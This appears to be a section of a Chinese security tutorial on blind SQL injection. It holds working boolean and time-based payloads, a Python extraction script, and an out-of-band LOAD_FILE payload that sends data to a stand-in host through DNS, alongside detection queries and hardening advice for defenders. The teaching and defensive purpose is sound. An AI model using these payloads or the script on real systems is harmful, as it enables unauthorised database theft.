本节摘要:本节讲注入的"隐身模式":页面不回显数据、不报错时,红队用布尔盲注把每个问题压成是非题,用时间延迟当回声,用带外通道把数据直接递出门外。理解盲注才理解为什么"页面看起来很安全"不等于注入不存在,检测与加固也因此换了一套打法。
上一节的演示之所以直观,是因为靶场"配合"——报错有回显、结果直接显示。真实系统往往修复了这些表面症状:错误信息统一成"服务器繁忙",查询结果不回显,注入依然存在,只是看不见了。红队管这叫盲注战场:问不出答案,就设计能让页面"点头摇头"的问题。
盲注的存在性判断本身就很有教学价值:它证明漏洞的真伪取决于服务器行为是否随输入改变,而不是页面是否展示了数据。只要存在任何可观测差异——响应内容、响应长度、响应时间——信息就能一比特一比特地渗出来。
思路是把"库名是什么"拆成一串是非题:"第一个字符是不是 a?不是。是不是 b?……"。靶场演示(最小化):
-- 布尔盲注(靶场):利用页面两种状态的差异 ' AND (SELECT SUBSTRING(DATABASE(),1,1)) = 's' -- -- 页面正常返回商品:首字母确实是 s ' AND (SELECT SUBSTRING(DATABASE(),1,1)) = 't' -- -- 页面返回空结果:首字母不是 t
一次交互问一个比特。库名八字符就是几十次请求,一个哈希值就是几百次。手工当然不现实,但脚本毫无压力——这也是检测侧的机会:盲注的请求形态高度规律(同端点、同参数结构、极高频)。
# 本地靶场:布尔盲注的判断逻辑骨架(仅演示原理,速度刻意放慢) import requests, string, time def ask(endpoint: str, payload_tmpl: str, pos: int, ch: str) -> bool: payload = payload_tmpl.format(pos=pos, ch=ch) r = requests.get(endpoint, params={"kw": payload}, timeout=5) time.sleep(0.5) # 演示礼貌限速,防打挂靶场 return "件商品" in r.text # 以页面标志位区分真假 def extract(endpoint, tmpl, known_len=8): found = "" for pos in range(1, known_len + 1): for ch in string.printable[:36]: # 常见字符集 if ask(endpoint, tmpl, pos, ch): found += ch print(f"pos {pos} = {ch}") break return found
连内容差异都被抹平时(所有输入返回同一页面),还有时间这根指针。让条件真假对应不同的延迟,用秒表代替眼睛:
-- 时间盲注(靶场):条件为真则慢,为假则快 ' AND IF((SELECT SUBSTRING(DATABASE(),1,1))='s', SLEEP(3), 0) -- -- 响应三秒后才回来:首字母是 s;立即返回:不是
时间盲注慢得可怜(每比特一次网络往返加延迟),但它证明了一个残酷事实:只要服务器行为存在任何可测量差异,数据就能渗出。第三条路是带外通道:让数据库自己发起网络请求,把答案编码进域名递出去。原理演示(仅说明机制,靶场不开放外联):
-- 带外通道原理(示意):数据库把查询结果编码进子域名 LOAD_FILE(concat('\\\\', (SELECT DATABASE()), '.oob.lab.local\\a')) -- 蓝队在自己的域名服务器上收到 shopdb.oob.lab.local 的解析请求 -- 数据已在请求名里——这也是蓝队检测带外渗出的经典蜜罐思路
带外通道反过来成了防御方的情报源:内网里数据库服务器突然发起 DNS 查询,本身就是高危告警。蓝队常在环境里布这样的解析监听点,攻击者的渗出管道一接通,位置自动暴露。
盲注要可行,红队必然自动化;自动化必然产生特征。检测规则围绕"规律性"做文章:同一端点同一参数在短时间内的请求量异常;参数值呈现"位置 + 字符"的遍历模式;响应时间分布出现双峰(时间盲注的真假两态);数据库服务器出现预期外的出网连接。检测查询示例:
-- 响应时间双峰检测:同端点参数请求的耗时分布(时间盲注指纹) SELECT path, date_trunc('minute', ts) AS minute, percentile_cont(0.5) WITHIN GROUP (ORDER BY cost_ms) AS p50, percentile_cont(0.95) WITHIN GROUP (ORDER BY cost_ms) AS p95 FROM http_log WHERE ts > now() - interval '30 minute' GROUP BY path, minute HAVING percentile_cont(0.95) WITHIN GROUP (ORDER BY cost_ms) - percentile_cont(0.5) WITHIN GROUP (ORDER BY cost_ms) > 2500 ORDER BY minute DESC LIMIT 20;
对盲注的加固与常规注入同源(参数化是唯一根治),但多两条针对性措施:其一,统一行为——无论输入什么,响应内容、长度、时间尽量一致,把可观测差异压到最小,让盲注失去"回声";其二,限制数据库出网——数据库进程所在主机默认拒绝外联,带外通道直接物理断根。这两条与上一章传输层的"统一报错"思路一脉相承:防御的极致不是挡住攻击,而是让攻击无法确认攻击是否生效。
盲注教给防御者的核心一课:攻击不需要看见就能得手。评估注入面时,别拿"页面没显示异常"当挡箭牌,拿代码里那条拼接语句说话。
顺带交代一个常被追问的边界问题:既然盲注这么慢,它还算真实威胁吗?算,而且恰恰因为慢才更危险——低速率意味着它不会触发任何基于频次的阈值,能在告警的舒适区外安静作业数周。真实事件里,慢速盲注常与业务低峰期配合,单日提取量克制到与正常流量无异。这再次印证上一节的判断:注入的判定依据只能是代码结构(拼接是否存在),任何基于行为与流量的"看起来没问题"都不构成证据。